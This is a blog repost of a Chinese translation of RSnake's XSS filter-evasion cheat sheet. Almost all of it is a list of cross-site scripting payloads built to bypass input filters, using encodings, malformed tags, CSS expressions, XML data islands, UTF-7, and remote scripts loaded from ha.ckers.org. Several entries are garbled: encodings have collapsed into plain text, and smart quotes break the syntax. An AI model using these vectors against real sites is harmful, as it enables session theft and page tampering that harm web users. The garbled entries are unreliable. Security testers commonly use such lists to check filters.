zoukankan      html  css  js  c++  java
  • 完整一点的XSS

     如果你不知道如何进行XSS攻击,那么本文或许对你没有任何帮助。这里主要针对已经对基本的XSS攻击有所了解而想更加深入地理解关于绕过过滤的 细 节问题 的读者。文中不会告诉你如何降低XSS的影响或者怎么去编写一些实际的攻击代码。你可以简单的得到一些最基本的方法来推测剩余的部分。

    (介绍部分略,太基础的部分也略,罪过,希望RSnake大牛大人有大量)
     
    不分大小写引起的XSS
    Code: <IMG SRC=JaVaScRiPt:alert(‘XSS’)>
     
    包含HTML字符
    Code: <IMG SRC=javascript:alert("XSS")>
     
    沉音符混淆(如果你同事需要使用单双引号你可以使用沉音符放入javascript字符串中。因为不少过滤器不了解沉音符导致了漏洞)
    Code: <IMG SRC=`javascript:alert(“RSnake says, ‘XSS’”)`>
     
    畸形的IMG标签。最初由Beqeek发现(整理精简后可以工作于所有浏览器),该方法利用了松散的图形渲染引擎让我们能在被引号包围的IMG标签中创建自己的XSS。
    Code: <IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
     
    fromCharCode 如果你无法使用引号,你可以使用fromCharCode用于eval函数。
    Code: <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
     
    UTF-8编码
    Code: <IMG SRC=javascript:alert('XSS')>
     
    Long UTF-8 编码可以不使用分号,这样绕过一些正则检查
    Code: <IMG SRC=javascript:alert('XSS')>
     
    没有分号的Hex编码
    Code:<IMG SRC=javascript:alert('XSS')>
     
    嵌入TAB键进行攻击
    Code: <IMG SRC=”jav    ascript:alert(‘XSS’);”>
     
    嵌入编码过后的TAB键
    Code: <IMG SRC=”jav ascript:alert(‘XSS’);”>
     
    嵌入新行可以进行XSS,一些网站上说char 09 – 13都可以为XSS攻击服务,那显然不正确。只有09 10 13才会正常工作。
    Code: <IMG SRC=”jav ascript:alert(‘XSS’);”>
    Code: <IMG SRC=”jav ascript:alert(‘XSS’);”>
    Code:
    <IMG
    SRC
    =
    j
    a
    v
    a
    s
    c
    r
    i
    p
    t
    :
    a
    l
    e
    r
    t
    (
    X
    S
    S
    )
    >
     
    NULL字符能逃避很多过滤系统
    Code: perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
    Code: perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
     
    多余的开放括号。提交弗兰兹泽德尔迈尔,这XSS的载体能战胜某些侦测引擎,通过使用匹配的第一个打开和关闭角括号对和做了比较,然后在标签内 的工 作,而 不是像博耶-穆尔看起来更有效algorythm为整个字符串匹配的开角括号和相关的标签(后解除困惑,当然)。双斜线意见中提出的结局无关的支架,以制 止JavaScript错误:
    Code: <<SCRIPT>alert(“XSS”);//<</SCRIPT>
     
    未关闭的标签
    Code: <SCRIPT SRC=http://ha.ckers.org/xss.js?<B>
     
    未关闭的img 或者 iframe标签
    Code: <IMG SRC=”javascript:alert(‘XSS’)”
     
    不使用单引号的xss
    Code: <SCRIPT>alert(/XSS/.source)</SCRIPT>
     
    各种其他的标签
    Code: <INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”>
    Code: <BODY BACKGROUND=”javascript:alert(‘XSS’)”>
    Code: <BODY ONLOAD=alert(‘XSS’)>
    Code: <IMG DYNSRC=”javascript:alert(‘XSS’)”>
    Code: <BGSOUND SRC=”javascript:alert(‘XSS’);”>
    Code: <BR SIZE=”&{alert(‘XSS’)}”>  (netspace)
    Code: <LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
    Code: <LINK REL=”stylesheet” HREF=”http://ha.ckers.org/xss.css”>
    Code: <STYLE>@import’http://ha.ckers.org/xss.css’;</STYLE>
    Code: <META HTTP-EQUIV=”Link” Content=”<http://ha.ckers.org/xss.css>; REL=stylesheet”>
    Code: <STYLE>BODY{-moz-binding:url(“http://ha.ckers.org/xssmoz.xml#xss”)}</STYLE>
    Code: <XSS STYLE=”behavior: url(xss.htc);”>
    Code: <STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
    Code: <IMG SRC=”mocha:[code]"> (netscape only)
    Code: <IMG SRC="livescript:[code]"> (netscape only)
    Code: <TABLE BACKGROUND="javascript:alert('XSS')">
    Code: <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
    Code: <TABLE><TD BACKGROUND="javascript:alert('XSS')">
    Code: <DIV STYLE="background-image: url(javascript:alert('XSS'))">
    Code: <BASE HREF="javascript:alert('XSS');//">
     
    US_ASCII编码(库尔特发现)。使用7位ascii编码代替8位,可以绕过很多过滤。但是必须服务器是以US-ASCII编码交互的。目前仅发现Apache Tomcat是以该方式交互。
    Code: ?scriptualert(EXSSE)?/scriptu
     
    META协议
    Code:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
    Code: <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
    Code: <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
     
    对DIV进行unicode编码
    Code: <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
     
    使用expression属性
    Code: <DIV STYLE=" expression(alert('XSS'));">
     
    STYLE标签
    Code:<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
    Code: <STYLE TYPE="text/javascript">alert('XSS');</STYLE>
    Code: <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A></A>
    Code: <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
     
    OBJECT标签
    Code: <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
    Code: <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>
     
    EMBED标签
    Code: <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
    Code: <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
    在flash文件中使用如下代码:
    Code: a="get";
    b="URL(\"";
    c="javascript:";
    d="alert('XSS');\")";
    eval(a+b+c+d);
     
    XML namespace可以引入行为文件htc但是必须在同一服务器上
    Code: <HTML xmlns:xss>
    <?import namespace="xss" implementation="http://ha.ckers.org/xss.htc">
    <xss:xss>XSS</xss:xss>
    </HTML>
    Xss.htc: <PUBLIC:COMPONENT TAGNAME="xss">
    <PUBLIC:ATTACH EVENT="ondocumentready" ONEVENT="main()" LITERALCONTENT="false"/>
    </PUBLIC:COMPONENT>
    <SCRIPT>
    function main()
    {
    alert("XSS");
    }
    </SCRIPT>
     
    使用CDATA模糊化的XML数据岛
    Cdoe: <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
    </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
     
    XML数据岛
    Code:<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
     
    Code: <XML SRC="xsstest.xml" ID=I></XML>
    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
    (xsstest.xml)必须同域下
     
    HTML+ TIME
    Code: <HTML><BODY>
    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
    <?import namespace="t" implementation="#default#time2">
    <t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
    </BODY></HTML>
    UTF7编码
    Code:<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
     
    防止二次执行的expression语句
    <a STYLE="x:expression((window.r!=1)?(window.r=1,eval(x.t)):1)">
    <x id=x t="alert(0)">
     
    出处:http://ha.ckers.org/xss.html
    作者:RSnake
    翻译:帝释天
  • 相关阅读:
    iOS开发~UI布局(二)storyboard中autolayout和size class的使用详解
    iOS开发~UI布局(一)初探Size Class
    OC登陆界面登陆按钮动画
    Git学习 --> 个人常用命令add,commit以及push
    Git使用之设置SSH Key
    【iOS开发】多屏尺的自动适配 AutoLayout (纯代码方式)
    iOS网络检测Reachability 使用 Demo,可检测2、3、4G
    iOS提醒用户进入设置界面进行重新授权通知定位等功能
    iOS中 @synthesize 和 @dynamic 区别
    iOS 开发笔记
  • 原文地址:https://www.cnblogs.com/cnsanshao/p/2354160.html
Copyright © 2011-2022 走看看